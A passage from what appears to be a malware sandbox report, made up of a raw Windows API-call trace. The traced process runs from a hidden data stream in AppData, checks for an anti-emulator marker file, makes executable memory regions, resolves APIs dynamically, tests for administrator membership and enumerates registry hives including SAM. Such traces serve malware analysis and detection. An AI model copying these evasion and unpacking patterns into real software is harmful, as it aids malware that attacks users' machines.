ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.648] ResetEvent (hEvent=0xe8) returned 1 [0057.648] SetEvent (hEvent=0xec) returned 1 [0057.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.648] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.648] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.648] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.648] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.648] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.648] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.648] ResetEvent (hEvent=0xe8) returned 1 [0057.648] SetEvent (hEvent=0xec) returned 1 [0057.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.648] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.648] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.648] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.648] ResetEvent (hEvent=0xe8) returned 1 [0057.648] SetEvent (hEvent=0xec) returned 1 [0057.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.649] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.649] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.649] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.649] ResetEvent (hEvent=0xe8) returned 1 [0057.649] SetEvent (hEvent=0xec) returned 1 [0057.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.649] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.649] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.649] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.649] ResetEvent (hEvent=0xe8) returned 1 [0057.649] SetEvent (hEvent=0xec) returned 1 [0057.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.649] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.649] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.649] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.649] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.649] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.649] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.649] ResetEvent (hEvent=0xe8) returned 1 [0057.649] SetEvent (hEvent=0xec) returned 1 [0057.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.650] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.650] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.650] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.650] ResetEvent (hEvent=0xe8) returned 1 [0057.650] SetEvent (hEvent=0xec) returned 1 [0057.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.650] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.650] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.650] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.650] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.650] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.650] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.650] ResetEvent (hEvent=0xe8) returned 1 [0057.650] SetEvent (hEvent=0xec) returned 1 [0057.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.650] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.650] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.651] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.651] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.651] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.651] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.651] ResetEvent (hEvent=0xe8) returned 1 [0057.651] SetEvent (hEvent=0xec) returned 1 [0057.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.651] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.651] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.651] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.651] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.651] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.651] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.651] ResetEvent (hEvent=0xe8) returned 1 [0057.651] SetEvent (hEvent=0xec) returned 1 [0057.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.651] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.651] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.651] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.651] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.652] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.652] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.652] ResetEvent (hEvent=0xe8) returned 1 [0057.652] SetEvent (hEvent=0xec) returned 1 [0057.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.652] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.652] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.652] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 Process: id = "22" image_name = "vayth9~1:bin" filename = "c:\\users\\5p5nrg~1\\appdata\\roaming\\vayth9~1:bin" page_root = "0x4b7d9000" os_pid = "0xa5c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0xa20" cmd_line = "C:\\Users\\5P5NRG~1\\AppData\\Roaming\\VAYTH9~1:bin" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 318 os_tid = 0xa60 [0038.253] GetTimeZoneInformation (in: lpTimeZoneInformation=0x53fb00 | out: lpTimeZoneInformation=0x53fb00) returned 0x2 [0038.255] GetCurrentProcess () returned 0xffffffff [0038.255] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x53faec | out: lpExitCode=0x53faec*=0x103) returned 1 [0038.256] GetForegroundWindow () returned 0x101a6 [0038.256] GetCaretBlinkTime () returned 0x212 [0038.256] GetFileType (hFile=0xf710cd) returned 0x0 [0038.256] GetConsoleProcessList (in: lpdwProcessList=0x53fbac, dwProcessCount=0x1 | out: lpdwProcessList=0x53fbac) returned 0x0 [0038.256] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x53fab8 | out: pcyOut=0x53fab8) returned 0x0 [0038.257] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0038.257] GetCommState (in: hFile=0x3b268c, lpDCB=0x53f920 | out: lpDCB=0x53f920) returned 0 [0038.257] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x53f91c, pmr=0x53f908, cht=0x353) returned 0 [0038.257] CloseClipboard () returned 0 [0038.257] CoUninitialize () [0038.257] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0038.257] ReleaseMutex (hMutex=0xa0) returned 0 [0038.257] CloseHandle (hObject=0xa0) returned 1 [0038.257] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0038.257] GetCommState (in: hFile=0x3b268c, lpDCB=0x53f920 | out: lpDCB=0x53f920) returned 0 [0038.257] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x53f91c, pmr=0x53f908, cht=0x353) returned 0 [0038.257] CloseClipboard () returned 0 [0038.257] CoUninitialize () [0038.258] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0038.258] ReleaseMutex (hMutex=0xa0) returned 0 [0038.258] CloseHandle (hObject=0xa0) returned 1 [0038.258] GetLocalTime (in: lpSystemTime=0x53fbbc | out: lpSystemTime=0x53fbbc*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x15, wSecond=0x1c, wMilliseconds=0x7e)) [0038.259] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x53f63c | out: ProcedureAddress=0x53f63c*=0x76c31856) returned 0x0 [0038.259] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x100000 [0038.376] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x53f63c | out: ProcedureAddress=0x53f63c*=0x76c31856) returned 0x0 [0038.376] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0xd0000 [0038.377] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x53f6d4 | out: ProcedureAddress=0x53f6d4*=0x76c349d7) returned 0x0 [0038.377] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x53f6d4 | out: ProcedureAddress=0x53f6d4*=0x76c31222) returned 0x0 [0038.377] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x53f6d4 | out: ProcedureAddress=0x53f6d4*=0x76c31856) returned 0x0 [0038.377] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x53f6d4 | out: ProcedureAddress=0x53f6d4*=0x76c3435f) returned 0x0 [0038.377] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0038.378] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0038.378] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0038.378] VirtualProtect (in: lpAddress=0x3f0000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x53f788 | out: lpflOldProtect=0x53f788*=0x2) returned 1 [0038.380] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x120000 [0038.382] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0038.382] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0038.382] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0038.382] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0040.711] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.725] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x860000 [0040.735] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x104) returned 0x8607d0 [0040.735] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x80) returned 0x8608e0 [0040.735] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x80) returned 0x860968 [0040.735] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x80) returned 0x8609f0 [0040.735] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x80) returned 0x860a78 [0040.735] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x80) returned 0x860b00 [0040.735] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x80) returned 0x860b88 [0040.736] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x80) returned 0x860c10 [0040.736] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x80) returned 0x860c98 [0040.736] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x80) returned 0x860d20 [0040.736] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x80) returned 0x860da8 [0040.736] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x80) returned 0x860e30 [0040.736] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x80) returned 0x860eb8 [0040.736] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x80) returned 0x860f40 [0040.736] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x80) returned 0x860fc8 [0040.736] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x80) returned 0x861050 [0040.736] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x80) returned 0x8610d8 [0040.736] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x400) returned 0x861160 [0040.736] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x900000 [0040.736] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x9007d0 [0040.736] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x900858 [0040.736] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x9008e0 [0040.736] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x184) returned 0x900968 [0040.736] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x900af8 [0040.736] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x900b40 [0040.736] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x900b88 [0040.736] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x900bd0 [0040.736] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x900c18 [0040.736] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x900c60 [0040.737] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x900ca8 [0040.737] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x900cf0 [0040.737] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x900d38 [0040.737] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x900d80 [0040.737] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x900dc8 [0040.737] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x900e10 [0040.737] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x900e58 [0040.737] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x900ea0 [0040.737] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x900ee8 [0040.737] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x900f30 [0040.737] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x53f2c4, nSize=0x1000 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\VAYTH9~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\vayth9~1:bin")) returned 0x2e [0040.738] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x900f78 [0040.738] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x2c) returned 0x90b828 [0040.990] GetVersionExW (in: lpVersionInformation=0x53f8e4*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x53f8e4*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0040.992] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x53f8cc | out: Wow64Process=0x53f8cc) returned 1 [0040.997] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x53f8a8 | out: TokenHandle=0x53f8a8*=0xa0) returned 1 [0040.998] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x53f8a4 | out: TokenInformation=0x0, ReturnLength=0x53f8a4) returned 0 [0041.001] GetLastError () returned 0x7a [0041.001] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x140) returned 0x90b860 [0041.002] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x90b860, TokenInformationLength=0x118, ReturnLength=0x53f8a4 | out: TokenInformation=0x90b860, ReturnLength=0x53f8a4) returned 1 [0041.003] AllocateAndInitializeSid (in: pIdentifierAuthority=0x53f8b4, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x53f8ac | out: pSid=0x53f8ac*=0x722900*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0041.005] EqualSid (pSid1=0x722900*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x90b8c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0041.006] EqualSid (pSid1=0x722900*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x90b8e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0041.006] EqualSid (pSid1=0x722900*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x90b8ec*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0041.011] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90b860) returned 1 [0041.013] NtClose (Handle=0xa0) returned 0x0 [0041.013] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90b860 [0041.016] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90b8a8 [0041.018] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x280) returned 0x90b930 [0041.021] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0041.099] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x90b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0041.099] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.104] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bc58 [0041.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x90bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0041.108] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bca0 [0041.109] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bc58) returned 1 [0041.110] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bca0) returned 1 [0041.110] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.110] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x90b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0041.111] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.112] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bca0 [0041.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x90bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0041.114] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bc58 [0041.115] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bca0) returned 1 [0041.115] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bc58) returned 1 [0041.116] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.116] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x90b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0041.545] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.546] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90bc58 [0041.546] WideCharToMultiByte (in: CodePage=0x0, 